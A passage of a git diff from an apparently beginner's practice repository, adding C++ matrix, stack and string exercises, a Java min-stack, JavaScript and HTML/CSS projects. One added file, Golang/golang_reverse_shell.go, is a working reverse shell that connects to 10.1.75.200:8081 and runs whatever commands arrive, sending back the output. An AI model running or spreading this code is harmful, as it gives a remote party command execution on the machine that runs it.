+ while(choice){ + cout << "Enter the indices of Elements to search for: " << endl; + cin >> m >> n; + printf("The Element at index %d,%d = %d\n\n", m, n, sq.get(m, n)); + printf("Do you want to continue search?? Press 1 for Y, 0 for N : "); + cin >> choice; + } + return 0; +} \ No newline at end of file diff --git a/DSA/Special Matrices/SymmetrixMatrix b/DSA/Special Matrices/SymmetrixMatrix new file mode 100644 index 000000000..6237ddc71 Binary files /dev/null and b/DSA/Special Matrices/SymmetrixMatrix differ diff --git a/DSA/Special Matrices/SymmetrixMatrix.cpp b/DSA/Special Matrices/SymmetrixMatrix.cpp new file mode 100644 index 000000000..33ed3402e --- /dev/null +++ b/DSA/Special Matrices/SymmetrixMatrix.cpp @@ -0,0 +1,72 @@ +//Symmetric matrix xan be implemented either using upper Triangular or Lower Triangular Matrices. +//They follow the condition A[i, j] = A[j, i] + +#include + +using namespace std; + +class SymmetricMatrix{ + private: + int size; + int *ele; + + public: + SymmetricMatrix(int n){ + this->size = n; + ele = new int[n*(n+1)/2]; + } + + void set(int i, int j, int x); + int get(int i, int j); + void Display(); + ~SymmetricMatrix(){delete [] ele;} +}; + +void SymmetricMatrix :: set(int i, int j, int x){ + if(i >= j) + ele[(i*(i-1))/2 + j-1] = x; + else + ele[size * (j-1) - ((j-1)*(j-2))/2 +i-j] = x; +} + +int SymmetricMatrix :: get(int i, int j){ + if(i >= j) + return ele[i*(i-1)/2 + j-1]; + else + return ele[j * (j-1)/2 + i-1]; +} + +void SymmetricMatrix :: Display(){ + for(int i =1; i <= size; i++){ + for(int j =1; j <= size; j++){ + if(i <= j) printf("%3d", ele[(i*(i-1))/2 + j-1]); + else printf("%3d", ele[(j*(j-1))/2 + i-1]); + } + cout << endl; + } +} + + +int main(){ + int index; + cout << "Enter the size of the Matrix : " ; + cin >> index; + SymmetricMatrix mat(index); + printf("Enter the Elements along with indices : \n"); + int i, j, val; + for(int k=0; k < (index*(index+1))/2; k++){ + cin >> i >> j >> val; + mat.set(i, j, val); + } + + cout << endl; + mat.Display(); + cout << endl << endl; + int choice = 1; + while(choice){ + cin >> i >> j; + printf("Element at index %d,%d = %d\n", i, j, mat.get(i, j)); + cout << "Do you want to continue Searching. Press 1 for Y, 0 for N : "; + cin >> choice; + } +} \ No newline at end of file diff --git a/DSA/Special Matrices/ToeplitzMatrix b/DSA/Special Matrices/ToeplitzMatrix new file mode 100644 index 000000000..81c307047 Binary files /dev/null and b/DSA/Special Matrices/ToeplitzMatrix differ diff --git a/DSA/Special Matrices/ToeplitzMatrix.cpp b/DSA/Special Matrices/ToeplitzMatrix.cpp new file mode 100644 index 000000000..384d8205b --- /dev/null +++ b/DSA/Special Matrices/ToeplitzMatrix.cpp @@ -0,0 +1,78 @@ +//Toeplitz Martrix is a Special Matrix with all elements in each of the diagonals same. +//Thus it follows the rule: M[i, j] = M[i-1, j-1] +//The ToePlitz Matrix can be compressed down to a very small size for a given Matrix thus reducing a lot of space +//Let's Code Toeplitz Matrix: + +#include + +using namespace std; + +class Toeplitz{ + private: + int size; + int *ele; + + public: + Toeplitz(int n){ + this ->size = n; + ele = new int[n + n - 1]; + } + ~Toeplitz(){delete [] ele;} + void set(int i, int j, int x); + int get(int i, int j); + void Display(); +}; + +void Toeplitz :: set(int i, int j, int x){ + if(i == 1) ele[j-1] = x; + else if(j == 1) ele[size + i - 1] = x; +} + +int Toeplitz :: get(int i, int j){ + if(j >= i) return ele[j-i]; + else return ele[size + i - j]; +} + +void Toeplitz :: Display(){ + for(int i=1; i <= size; i++){ + for(int j=1; j <=size; j++){ + if(j >= i) printf("%-3d", ele[j-i]); + else printf("%-3d", ele[size + i-j]); + } + cout << endl; + } +} + +int main(int argc, char const *argv[]) +{ + //Craton of Matrix + int n; + cout << "Enter the size of Toeplitz Matrix : "; + cin >> n; + Toeplitz toe(n); + cout << "Enter the elements along with indices of Toeplitz Matrix : \n"; + int i, j, x; + for(int k=0; k> i >> j >> x; + toe.set(i, j, x); + } + cout << endl << endl; + + //Displaying the Matrix: + toe.Display(); + cout << endl; + + //Searching a particulat Element: + int choice = 1; + while(choice){ + cout << "Enter the indices of Elements to search for : "; + cin >> i >> j; + printf("The Elements at indices %d,%d = %d\n\n", i, j, toe.get(i, j)); + + cout << "Do you want to continue the search?? Press 1 for Y, 0 for N : "; + cin >> choice; + } + return 0; +} + + \ No newline at end of file diff --git a/DSA/Special Matrices/TriDiagonalMatrix b/DSA/Special Matrices/TriDiagonalMatrix new file mode 100644 index 000000000..89d9e4cd5 Binary files /dev/null and b/DSA/Special Matrices/TriDiagonalMatrix differ diff --git a/DSA/Special Matrices/TriDiagonalMatrix.cpp b/DSA/Special Matrices/TriDiagonalMatrix.cpp new file mode 100644 index 000000000..24f79b248 --- /dev/null +++ b/DSA/Special Matrices/TriDiagonalMatrix.cpp @@ -0,0 +1,88 @@ +//Tri-Diagonal Matrix +//As the name suggests, tri-Diiagonal Matrix is a Matrix such that only its three mid-Digaonals have non-zero values +//So no of non-zero elements in tri Diagonal Matrix = n + n-1 + n-1 = 3*n -2, +//where n = size of the matrix +//In short we can describe it as following : m[i, j] != 0 if |i-j| <= 1 +//Let's Code + +#include + +using namespace std; + +class triDiagonal{ + private: + int size; + int *ele; + + public: + triDiagonal(int n){ + this->size = n; + ele = new int[3*n - 2]; + } + void set(int i, int j, int x); + int get(int i, int j); + void Display(); + ~triDiagonal(){delete [] ele;} +}; + + +void triDiagonal :: set(int i, int j, int x){ + if(i - j <= 1 && i - j >= -1){ + if(i < j) ele[i-2] = x; + else if(i ==j) ele[size -1 + i -1] = x; + else if(i >= j) ele[2*size - 1 + i - 1] = x; + } +} + +int triDiagonal :: get(int i, int j){ + if(i - j <= 1 && i-j >= -1){ + if(i < j) return ele[i-2]; + else if(i == j) return ele[size - 1 + i -1]; + else if(i >= j) return ele[2*size - 1 + i -1]; + } + return 0; +} + +void triDiagonal :: Display(){ + for(int i=1; i <= size; i++){ + for(int j =1; j <= size; j++){ + int data = 0; + if(i -j >= -1 && i-j <= 1){ + if(i < j) data = ele[i-2]; + else if(i == j) data = ele[size - 1 + i -1]; + else if(i >= j) data = ele[2*size -1 + i -1]; + } + printf("%-3d", data); + } + cout << endl; + } +} + +int main(){ + int size; + cout << "Enter the size of the TriBand Matrix : "; + cin >> size; + triDiagonal tri(size); + + cout << endl; + cout << "Enter the Elements and the indices of the TriDiagonal Matrix : \n"; + int i, j, x; + for(int k=0; k < 3* size - 2; k++){ + cin >> i >> j >> x; + tri.set(i, j, x); + } + + cout << endl; + tri.Display(); + cout << endl << endl; + int choice = 1; + while(choice){ + printf("Enter the Element indices you want to search for : "); + cin >> i >> j; + printf("Element at index %d,%d = %d\n", i, j, tri.get(i, j)); + cout << "Do you want to continue to search. Press 1 for Y, 0 for N : "; + cin >> choice; + if(choice == 0) exit(0); + } + return 0; +} diff --git a/DSA/Special Matrices/UpperTriangularMatrix b/DSA/Special Matrices/UpperTriangularMatrix new file mode 100644 index 000000000..2ae69b5e9 Binary files /dev/null and b/DSA/Special Matrices/UpperTriangularMatrix differ diff --git a/DSA/Special Matrices/UpperTriangularMatrix.cpp b/DSA/Special Matrices/UpperTriangularMatrix.cpp new file mode 100644 index 000000000..e6430f9b5 --- /dev/null +++ b/DSA/Special Matrices/UpperTriangularMatrix.cpp @@ -0,0 +1,106 @@ +#include +#define endl "\n" +using namespace std; + +//Row Major-Upper Triangular +class RUpperTriMatrix{ + private: + int size; + int *A; + + public: + RUpperTriMatrix(int n){ + size = n; + A = new int[(n*(n+1))/2]; + } + + void set(int i, int j, int x); + int get(int i, int j); + void Display(); + ~RUpperTriMatrix(){delete [] A;} +}; + +void RUpperTriMatrix :: set(int i, int j, int x){ + if(i <= j) + A[size*(i-1) - ((i-1)*(i-2))/2 + j-i] = x; +} + +int RUpperTriMatrix :: get(int i, int j){ + if(i <= j) return A[size*(i-1) - ((i-1)*(i-2))/2 +j-i]; + else return 0; +} + +void RUpperTriMatrix :: Display(){ + for(int i=1; i<= size; i++){ + for(int j=1; j <= size; j++){ + if(i <= j) printf("%3d ", A[size*(i-1) - ((i-1)*(i-2))/2 + j-i]); + else printf("%3d ",0); + } + cout << endl; + } +} + +//Column Major-Upper traingular +class CUpperTriMatrix{ + private: + int size; + int *A; + + public: + CUpperTriMatrix(int n){ + this->size = n; + A = new int[(n*(n+1))/2]; + } + ~CUpperTriMatrix(){delete [] A;} + void set(int i, int j, int x); + int get(int i, int j); + void Display(); +}; + +void CUpperTriMatrix :: set(int i, int j, int x){ + if(i <= j) A[(j*(j-1))/2 + i-1] = x; +} + +int CUpperTriMatrix :: get(int i, int j){ + if(i <= j) return A[(j*(j-1))/2 + i-1]; + else return 0; +} + +void CUpperTriMatrix :: Display(){ + for(int i=1; i<=size; i++){ + for(int j=1; j <=size; j++){ + if(i <= j) printf("%3d ",A[(j*(j-1))/2 + i-1]); + else printf("%3d ", 0); + } + cout << endl; + } +} + +int main(int argc, char const *argv[]) +{ + int size; + cin >> size; + RUpperTriMatrix tri1(size); + CUpperTriMatrix tri2(size); + int num; + for(int i=1; i<=size; i++) { + for(int j=1; j <=size; j++){ + cin >> num; + tri1.set(i, j, num); + tri2.set(i, j, num); + } + } + + tri1.Display(); + cout << endl << endl; + cout << tri1.get(5,5) << endl; + cout << tri1.get(3,4) << endl; + cout << tri1.get(4,1) << endl; + + tri2.Display(); + cout << endl << endl; + cout << tri2.get(5,5) << endl; + cout << tri2.get(3,4) << endl; + cout << tri2.get(4,1) << endl; + return 0; +} diff --git a/DSA/Stacks & Queues/balanced_parenthesis.cpp b/DSA/Stacks & Queues/balanced_parenthesis.cpp new file mode 100644 index 000000000..fca4e37f3 --- /dev/null +++ b/DSA/Stacks & Queues/balanced_parenthesis.cpp @@ -0,0 +1,64 @@ +#include +#include +#include +using namespace std; + + +bool isBalanced(string input){ + + stack s; + for(auto ch : input){ + + switch(ch){ + case '(': + case '[': + case '{': s.push(ch); + break; + + case ')': if(!s.empty() and s.top()=='('){ + s.pop(); + } + else{ + return false; + } + break; + + case ']': if(!s.empty() and s.top()=='['){ + s.pop(); + } + else{ + return false; + } + break; + + case '}': if(!s.empty() and s.top()=='{'){ + s.pop(); + } + else{ + return false; + } + break; + default : continue; + } + } + + if(s.empty()==true){ + return true; + } + return false; +} + + + +int main(){ + string s = "{ a + (b+c) + ([d+e]*f)) } + k`";//{ a + (b+c) + ([d+e]*f)) } + k"; + + if(isBalanced(s)){ + cout<<"Balanced!"< +#include +#include +using namespace std; + +void maxSubArrayK(vector a,int k){ + + int n = a.size(); + + deque Q(k); + //1. Process only the first K elements + int i; + + for(i=0;i a[Q.back()]){ + Q.pop_back(); + } + + Q.push_back(i); + + } + + //2. Remaining the elements of the array + for( ;i= a[Q.back()]){ + Q.pop_back(); + } + + //always + Q.push_back(i); + } + + + cout<< a[Q.front()]; + +} + +int main() { + + vector arr{1,2,3,1,4,5,2,3,5}; + int k = 3; + + maxSubArrayK(arr,k); + + return 0; +} \ No newline at end of file diff --git a/DSA/Stacks & Queues/minStackImplementation.java b/DSA/Stacks & Queues/minStackImplementation.java new file mode 100644 index 000000000..61e904ff6 --- /dev/null +++ b/DSA/Stacks & Queues/minStackImplementation.java @@ -0,0 +1,36 @@ +class MinStack { + static Stack s; + static Stack ss; + + public MinStack() { + s=new Stack<>(); + ss=new Stack<>(); + } + //push function implementation + public void push(int val) { + s.push(val); + if(ss.size()==0 || ss.peek()>=val){ + ss.push(val); + } + } + //pop function implementation + public void pop() { + if(s.size()==0) return ; + + int ans=s.peek(); + s.pop(); + if(ss.peek()==ans) ss.pop(); + + } + //top function implementation + public int top() { + if(s.size()==0) return -1; + return s.peek(); + } + //getting minimum value from stack in O(1) + public int getMin() { + if(ss.size()==0) return -1; + + return ss.peek(); + } +} diff --git a/DSA/Stacks & Queues/redundant_parenthesis.cpp b/DSA/Stacks & Queues/redundant_parenthesis.cpp new file mode 100644 index 000000000..828fa2933 --- /dev/null +++ b/DSA/Stacks & Queues/redundant_parenthesis.cpp @@ -0,0 +1,45 @@ +#include +#include +#include +using namespace std; + +bool checkRedundant(string str){ + + stack s; + + for(char ch : str){ + if(ch!=')'){ + s.push(ch); // a,b, + , - , ( .... + } + else{ + // ')' + bool operator_found = false; + + while(!s.empty() and s.top()!='('){ + char top = s.top(); + if(top=='+' or top=='-' or top=='*' or top=='/'){ + operator_found = true; + } + s.pop(); + } + s.pop(); //pop the opening bracked after the loop if over + + if(operator_found == false){ + return true; + } + } + } + return false; +} + + +int main() { + string str = "((a+b)+c) + ((d*e))"; + if(checkRedundant(str)){ + cout<<"Contains Redundant Parenthesis"; + } + else{ + cout<<"r"; + } + return 0; +} \ No newline at end of file diff --git a/DSA/Stacks & Queues/simplify_path.cpp b/DSA/Stacks & Queues/simplify_path.cpp new file mode 100644 index 000000000..8eace9e26 --- /dev/null +++ b/DSA/Stacks & Queues/simplify_path.cpp @@ -0,0 +1,77 @@ +#include +#include +#include +#include +using namespace std; + +string simplifyPath(string path){ + //1. Step - Tokenisation & Filtering + + istringstream iss(path); + vector tokens; + + string token; + while(getline(iss,token,'/')){ + if(token=="." or token==""){ + continue; + } + tokens.push_back(token); + } + + + // 2. Handle .. + vector stack; + + if(path[0]=='/'){ + //denotes that our path is an abs path (wrt root dir) + stack.push_back(""); + } + + for(string token : tokens){ + if(token==".."){ + //2 cases -> Abs path or relative path + if(stack.size()==0 or stack[stack.size()-1]==".."){ + stack.push_back(".."); + } + + else if(stack[stack.size()-1]!=""){ + stack.pop_back(); + } + } + else{ + //x,y,z... + stack.push_back(token); + } + + } + //single element + if(stack.size()==1 and stack[0]==""){ + return "/"; + } + + //combine all elements in stack to get the answer + ostringstream oss; + int i = 0; + + for(auto token :stack){ + if(i!=0){ + oss<<"/"; + } + i++; + oss << token; + } + + return oss.str(); + +} + + +int main(){ + string path = "/../x/y/../z/././w/a///../../c/./"; + // Output : /x/z/c + cout << simplifyPath(path) < +using namespace std; +int main() { + string s="avengers"; + string str="vers"; + + //using 2 pointer method + int i=s.length()-1; + int j=str.length()-1; + + while(i<=0 and j<=0) + { + if(s[i]==s[j]) + { + i--; + j--; + } + else + i--; + } + + if(j==-1) + cout<<"yes"; + else + cout<<"no"; +} diff --git a/DSA/Strings/filling_spaces.cpp b/DSA/Strings/filling_spaces.cpp new file mode 100644 index 000000000..13637c61e --- /dev/null +++ b/DSA/Strings/filling_spaces.cpp @@ -0,0 +1,20 @@ +#include +#include +using namespace std; + +int main () + + { + char str[100]; + gets(str); + + for (int i = 0; str[i] !='\0'; i++) + + { + if (str[i] == ' ') + str[i]='%'; + } + + cout< +using namespace std; +int main() { + + //using string datatype + // string s; + // cin>>s; + // cout<>s[i]; + // for(int i=0;i<10;i++) + // cout<str={"y","o","u","r"}; + for(auto x:str) + cout< +using namespace std; +int main() +{ + string s="abacdffghgffdcaba"; //check on sample string. + + for(int i=0; i +using namespace std; +int main() { + string s="abca"; + reverse(s.begin(),s.end()); + cout< +#include +using namespace std; +int main() { + /* + string para="my name is vashishth gajjar"; + string word; + getline(cin,word); + + //returns the index + cout< +using namespace std; +int main() { + vectora={1,3,2,1,4,1,3,2,1,1,2}; + int n=a.size(); + int sum=8; + int i=0,j=0,cs=0; + + while(jsum and i +using namespace std; +int main() { + + //using char + /* char ch[3]={'b','c','a'}; + sort(ch,ch+3); + + for(int i=0;i<3;i++) + cout< +using namespace std; + +void printSubsequence(string input, string output) +{ + + if (input.empty()) { + cout << output << endl; + return; + } + + // output is passed with including + // the Ist characther of + // Input string + printSubsequence(input.substr(1), output + input[0]); + + // output is passed without + // including the Ist character + // of Input string + printSubsequence(input.substr(1), output); +} + +int main() +{ + + string output = ""; + string input = "abcd"; + + printSubsequence(input, output); + + return 0; +} diff --git a/DSA/Strings/tokenization.cpp b/DSA/Strings/tokenization.cpp new file mode 100644 index 000000000..5abbdeee0 --- /dev/null +++ b/DSA/Strings/tokenization.cpp @@ -0,0 +1,15 @@ +#include +using namespace std; +int main() { + char s[100]; + gets(s); + + //splitting the string wrt delimiters (ex: "-"," ","/") + char *token=strtok(s," "); + + while(token!=NULL) + { + cout< + +using namespace std; + +string findLongestSubstring(string str) +{ + int i; + int n = str.length(); + + // starting point of current substring. + int st = 0; + + // length of current substring. + int currlen; + + // maximum length substring without repeating + // characters. + int maxlen = 0; + + // starting index of maximum length substring. + int start; + + // Hash Map to store last occurrence of each + // already visited character. + unordered_map pos; + + // Last occurrence of first character is index 0; + pos[str[0]] = 0; + + for (i = 1; i < n; i++) { + + // If this character is not present in hash, + // then this is first occurrence of this + // character, store this in hash. + if (pos.find(str[i]) == pos.end()) + pos[str[i]] = i; + + else { + // If this character is present in hash then + // this character has previous occurrence, + // check if that occurrence is before or after + // starting point of current substring. + if (pos[str[i]] >= st) { + + // find length of current substring and + // update maxlen and start accordingly. + currlen = i - st; + if (maxlen < currlen) { + maxlen = currlen; + start = st; + } + + // Next substring will start after the last + // occurrence of current character to avoid + // its repetition. + st = pos[str[i]] + 1; + } + + // Update last occurrence of + // current character. + pos[str[i]] = i; + } + } + + // Compare length of last substring with maxlen and + // update maxlen and start accordingly. + if (maxlen < i - st) { + maxlen = i - st; + start = st; + } + + // The required longest substring without + // repeating characters is from str[start] + // to str[start+maxlen-1]. + return str.substr(start, maxlen); +} + +int main() +{ + string str = "GEEKSFORGEEKS"; + cout << findLongestSubstring(str); + return 0; +} diff --git a/DSA/removeDuplicates.c b/DSA/removeDuplicates.c new file mode 100644 index 000000000..9f32ebc9a --- /dev/null +++ b/DSA/removeDuplicates.c @@ -0,0 +1,42 @@ +#include +#include +#include + +// Function to remove adjacent duplicates characters from a string +void removeDuplicates(char s[]) +{ + int n = strlen(s); + char prev = '\0'; + int k = 0; + + // loop through the string + for (int i = 0; i < n; i++) + { + // if the current char is different from the previous char + if (prev != s[i]) + { + // set distinct chars at index `k` and increment it + s[k++] = s[i]; + } + + // update previous char to current char for the next iteration of the loop + prev = s[i]; + } + + // null terminate the resultant string + s[k] = '\0'; +} + +int main(void) +{ + char s[] = "AAABBCDDD"; + + removeDuplicates(s); + printf("%s", s); + + return 0; +} + + + + diff --git a/Golang/golang_reverse_shell.go b/Golang/golang_reverse_shell.go new file mode 100644 index 000000000..1c7eccc35 --- /dev/null +++ b/Golang/golang_reverse_shell.go @@ -0,0 +1,26 @@ +package main + +import ( + "bufio" + "fmt" + "net" + "os/exec" + "strings" +) + +func main() { + conn, _ := net.Dial("tcp", "10.1.75.200:8081") + for { + + message, _ := bufio.NewReader(conn).ReadString('\n') + + out, err := exec.Command(strings.TrimSuffix(message, "\n")).Output() + + if err != nil { + fmt.Fprintf(conn, "%s\n",err) + } + + fmt.Fprintf(conn, "%s\n",out) + + } +} diff --git a/Golang/helloworld.go b/Golang/helloworld.go new file mode 100644 index 000000000..b1b14d0c7 --- /dev/null +++ b/Golang/helloworld.go @@ -0,0 +1,7 @@ +package main + +import "fmt" + +func main() { + fmt.Println("Hello World!") +} diff --git a/HTML5/Image_upload.html b/HTML5/Image_upload.html new file mode 100644 index 000000000..85dfcb86b --- /dev/null +++ b/HTML5/Image_upload.html @@ -0,0 +1,59 @@ + + + + + + Upload a Image + + + + + + + + + + + + + + + + + +
+
+
+
+ + +
+ +
+ + +
+ +
+ + +
+ +
+ + +
+ +
+
+
+ + + \ No newline at end of file diff --git a/HTML5/index.html b/HTML5/index.html new file mode 100644 index 000000000..4d97e4224 --- /dev/null +++ b/HTML5/index.html @@ -0,0 +1,321 @@ + + + + + + + + + + + HTML-CSS-CHALLENGE-3 + + + +
+
+
+

New Arrivals

+

More than 400+ new members

+
+
+ + +
+
+
+

Products

+

Earnings

+

Comission

+

Company

+

Rating

+
+
+
+ +

Brad Simmons

+

HTML, JS, ReactJS

+
+
+

$8,000,000

+

In Proccess

+
+ +
+

$520

+

Paid

+
+
+

Intertico

+

Web, UI/UX Design

+
+ +
+
+ + + + + +
+

Best Rated

+
+ +
+
+
+ +

Jessie Clarcson

+

C#, ASP.NET, MS SQL

+
+
+

$23,000,000

+

Pending

+
+ +
+

$1,600

+

Rejected

+
+ +
+

Agoda

+

Houses & Hotels

+
+
+
+ + + + + +
+

Above Average

+
+ +
+
+
+ +

Lebron Wayde

+

PHP, Laravel, VueJS

+
+ +
+

$34,000,000

+

Paid

+
+ +
+

$6,700

+

Paid

+
+ +
+

RoadGee

+

Transportation

+
+
+
+ + + + + +
+

Best Rated

+
+ +
+
+
+ +

Natali Trump

+

Python, PostgreSQL, ReactJS

+
+ +
+

$2,600,000

+

Paid

+
+ +
+

$14,000

+

Pending

+
+ +
+

The Hill

+

Insurance

+
+
+
+ + + + + +
+

Average

+
+ +
+
+ + diff --git a/HTML5/indexWebsite.html b/HTML5/indexWebsite.html index 59cfef57a..a9a911661 100644 --- a/HTML5/indexWebsite.html +++ b/HTML5/indexWebsite.html @@ -39,7 +39,7 @@
Welcome to the blog of Aditi's world
Fashion Blog

Aditi's

-

FASHION BLOG

+

FASHION BLOGs

@@ -59,7 +59,7 @@
Title description, May 2, 2016
Girl Hat -

More Hats! I am crazy about hats these days. Some text about this blog entry. Fashion fashion and mauris neque quam, fermentum ut nisl vitae, convallis maximus nisl. Sed mattis nunc id lorem euismod placerat. Vivamus porttitor +

More Hats! I am crazy about hats these days. Some text about this blog entry. Fashion and mauris neque quam, fermentum ut nisl vitae, convallis maximus nisl. Sed mattis nunc id lorem euismod placerat. Vivamus porttitor magna enim, ac accumsan tortor cursus at. Phasellus sed ultricies mi non congue ullam corper. Praesent tincidunt sedtellus ut rutrum. Sed vitae justo condimentum, porta lectus vitae, ultricies congue gravida diam non fringilla.

Sunt in culpa qui officia deserunt mollit anim id est laborum consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco.

@@ -123,15 +123,14 @@

Angie April 23, 2015, 9:12 PM

-

TITLE HEADING

+

NEW YORK CITY RUNWAY

Title description, April 7, 2016
Runway

Dont miss! The runway in New York City this weekend is gonna be legendary!

-

Some text about this blog entry. Fashion fashion and mauris neque quam, fermentum ut nisl vitae, convallis maximus nisl. Sed mattis nunc id lorem euismod placerat. Vivamus porttitor magna enim, ac accumsan tortor cursus at. Phasellus sed ultricies - mi non congue ullam corper. Praesent tincidunt sedtellus ut rutrum. Sed vitae justo condimentum, porta lectus vitae, ultricies congue gravida diam non fringilla.

+

Some text about this blog entry.

@@ -154,7 +153,7 @@

Aditi April 10, 2015, 7:22 PM

John April 8, 2015, 10:32 PM

-

Keep up the GREAT work! I am cheering for you!! Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt.

+

Keep up the GREAT work! I am cheering for you!!

diff --git a/HTML5/pingpong.html b/HTML5/pingpong.html new file mode 100644 index 000000000..bea501556 --- /dev/null +++ b/HTML5/pingpong.html @@ -0,0 +1,198 @@ + + + + Basic Pong HTML Game + + + + + + + + diff --git a/JS/AllPrime.js b/JS/AllPrime.js new file mode 100644 index 000000000..7cd1ef8fe --- /dev/null +++ b/JS/AllPrime.js @@ -0,0 +1,26 @@ +let args = process.argv; +let n = parseInt(args[2]) + + + +for (let i = 1; i <= n; i++){ + let isPrime = IsPrime(i) + if (isPrime == true) { + console.log(i) + } + +} +function IsPrime(x) { + let Prime = true + for (let div = 2; div * div <= x; div++) { + if (x%div == 0) { + Prime = false + break + } + else{ + Prime = true + } + + } + return Prime +} \ No newline at end of file diff --git a/JS/ApplePlayer/CSS/style.css b/JS/ApplePlayer/CSS/style.css new file mode 100644 index 000000000..b26deef59 --- /dev/null +++ b/JS/ApplePlayer/CSS/style.css @@ -0,0 +1,165 @@ +*, +*::before, +*::after { + margin: 0; + padding: 0%; + box-sizing: border-box; +} + +html{ + font-size: 62.5%; + font-family: "Jost", sans-serif; +} + +.main_div { + width: 100vw; + height: 100vh; + background-color: #f6f6f6; + display: grid; + place-items: center; +} + +.music_container{ + width: 35rem; + height: 55rem; + background-color: #ffffff; + border-radius: 2rem; + box-shadow: 0 1.2rem 3rem 0.5rem rgba(0, 0, 0, 0.2); + padding: 3rem; + text-align: center; +} + +.music_container #title{ + text-transform: uppercase; + letter-spacing: 0.2rem; + word-spacing: 0.5rem; + color: #171717; + margin: 2rem 0 0.5rem 0; + font-size: 2.5rem; + font-weight: 500; + text-shadow: 0 0.3rem 0.5rem rgba(0, 0, 0, 0.3); +} + +.music_container #artist{ + color: #cccaca; + text-transform: capitalize; + letter-spacing: 0.1rem; + font-size: 2rem; + margin-bottom: 4rem; + font-weight: 300; +} + +.img_container { + width: 25rem; + height: 25rem; + margin: auto; +} + +img { + /* make the object fit and circle */ + width: 100%; + height: 100%; + border-radius: 50%; + object-fit: cover; + box-shadow: 0 1.2rem 3rem 0.5rem rgba(0, 0, 0, 0.4); +} + +.music_controls { + width: 20rem; + display: flex; + justify-content: space-between; + align-items: center; + margin: auto; + margin-top: 1rem; +} + +.music_controls .fas { + color: #111111; + font-size: 2rem; + cursor: pointer; + filter: drop-shadow(0 1.2rem 3rem 0.5rem rgba(0, 0, 0, 0.4)); +} + +.music_controls .main_button{ + width: 5rem; + height: 5rem; + border-radius: 50%; + background-color: #111111; + color: #f6f6f6; + /* add display flex to center the icons */ + display: flex; + justify-content: center; + align-items: center; + font-size: 1.4rem; +} + +.music_controls .fas:hover { + color: grey; +} + +.music_controls .fa-play:hover{ + background-color: #f6f6f6; + color: black; + box-shadow: 0 1rem 2rem 0.2rem rgba(0, 0, 0, 0.4); +} + +/*anime class to animate*/ +.anime { + animation: rotatePlayer 3s linear infinite; +} + +@keyframes rotatePlayer { + from { transform: rotate(0deg); } + to { + transform: rotate(360deg); + } +} + + +/*progress style*/ + +.progressbar_container{ + width: 100%; + height: auto; + padding: 1rem 0; + margin-top: 1rem; +} + +.progress_div{ + width: 100%; + height: 0.5rem; + box-shadow: 0 1px 2px rgba(0, 0, 0, 0.07), 0 2px 4px rgba(0, 0, 0, 0.07), 0 4px 8px rgba(0, 0, 0, 0.07), 0 8px 16px rgba(0, 0, 0, 0.07), 0 16px 32px rgba(0, 0, 0, 0.07), 0 32px 64px rgba(0, 0, 0, 0.07); + border-radius: 4rem; + position: relative; + margin-top: 0.5rem; + transition: all 1s linear; + -moz-transition: all 1s linear; + -o-transition: all 1s linear; + -webkit-transition: all 1s linear; + cursor: pointer; + -webkit-appearance: none; + appearance: none; +} + +.progress { + position: absolute; + top: 0; + width: 0; + height: 100%; + background-color: #000; + border-radius: 4rem; + /* transition: width 1s linear; + -moz-transition: width 1s linear; + -o-transition: width 1s linear; + -webkit-transition: width 1s linear; */ + cursor: pointer; + -webkit-appearance: none; + appearance: none; +} + + +.progress_duration_meter{ + display: flex; + justify-content: space-between; + font-size: 1.2rem; +} \ No newline at end of file diff --git a/JS/ApplePlayer/Images/song-1.jfif b/JS/ApplePlayer/Images/song-1.jfif new file mode 100644 index 000000000..5dfad6364 Binary files /dev/null and b/JS/ApplePlayer/Images/song-1.jfif differ diff --git a/JS/ApplePlayer/Images/song-2.jfif b/JS/ApplePlayer/Images/song-2.jfif new file mode 100644 index 000000000..ab850b185 Binary files /dev/null and b/JS/ApplePlayer/Images/song-2.jfif differ diff --git a/JS/ApplePlayer/Images/song-3.jfif b/JS/ApplePlayer/Images/song-3.jfif new file mode 100644 index 000000000..d4f46688b Binary files /dev/null and b/JS/ApplePlayer/Images/song-3.jfif differ diff --git a/JS/ApplePlayer/Music/HUM_BHI_AGAR_BACHCHE_HOTE.mp3 b/JS/ApplePlayer/Music/HUM_BHI_AGAR_BACHCHE_HOTE.mp3 new file mode 100644 index 000000000..31dbd5cbe Binary files /dev/null and b/JS/ApplePlayer/Music/HUM_BHI_AGAR_BACHCHE_HOTE.mp3 differ diff --git a/JS/ApplePlayer/Music/song-1.mp3 b/JS/ApplePlayer/Music/song-1.mp3 new file mode 100644 index 000000000..fdae21d44 Binary files /dev/null and b/JS/ApplePlayer/Music/song-1.mp3 differ diff --git a/JS/ApplePlayer/Music/song-2.mp3 b/JS/ApplePlayer/Music/song-2.mp3 new file mode 100644 index 000000000..e612c889c Binary files /dev/null and b/JS/ApplePlayer/Music/song-2.mp3 differ diff --git a/JS/ApplePlayer/Music/song-3.mp3 b/JS/ApplePlayer/Music/song-3.mp3 new file mode 100644 index 000000000..a52fe8a81 Binary files /dev/null and b/JS/ApplePlayer/Music/song-3.mp3 differ diff --git a/JS/ApplePlayer/debug.log b/JS/ApplePlayer/debug.log new file mode 100644 index 000000000..907469d58 --- /dev/null +++ b/JS/ApplePlayer/debug.log @@ -0,0 +1,2 @@ +[0109/105458.284:ERROR:directory_reader_win.cc(43)] FindFirstFile: The system cannot find the path specified. (0x3) +[0109/152512.422:ERROR:directory_reader_win.cc(43)] FindFirstFile: The system cannot find the path specified. (0x3) diff --git a/JS/ApplePlayer/music.html b/JS/ApplePlayer/music.html new file mode 100644 index 000000000..1f978dc5f --- /dev/null +++ b/JS/ApplePlayer/music.html @@ -0,0 +1,165 @@ + + + + + + Document + + + + + +
+
+

Temporary Pyaar

+

Kaka

+
+ +
+ + + +
+
+
0:00
+
4:12
+
+
+
+
+
+ + +
+ + + +
+
+
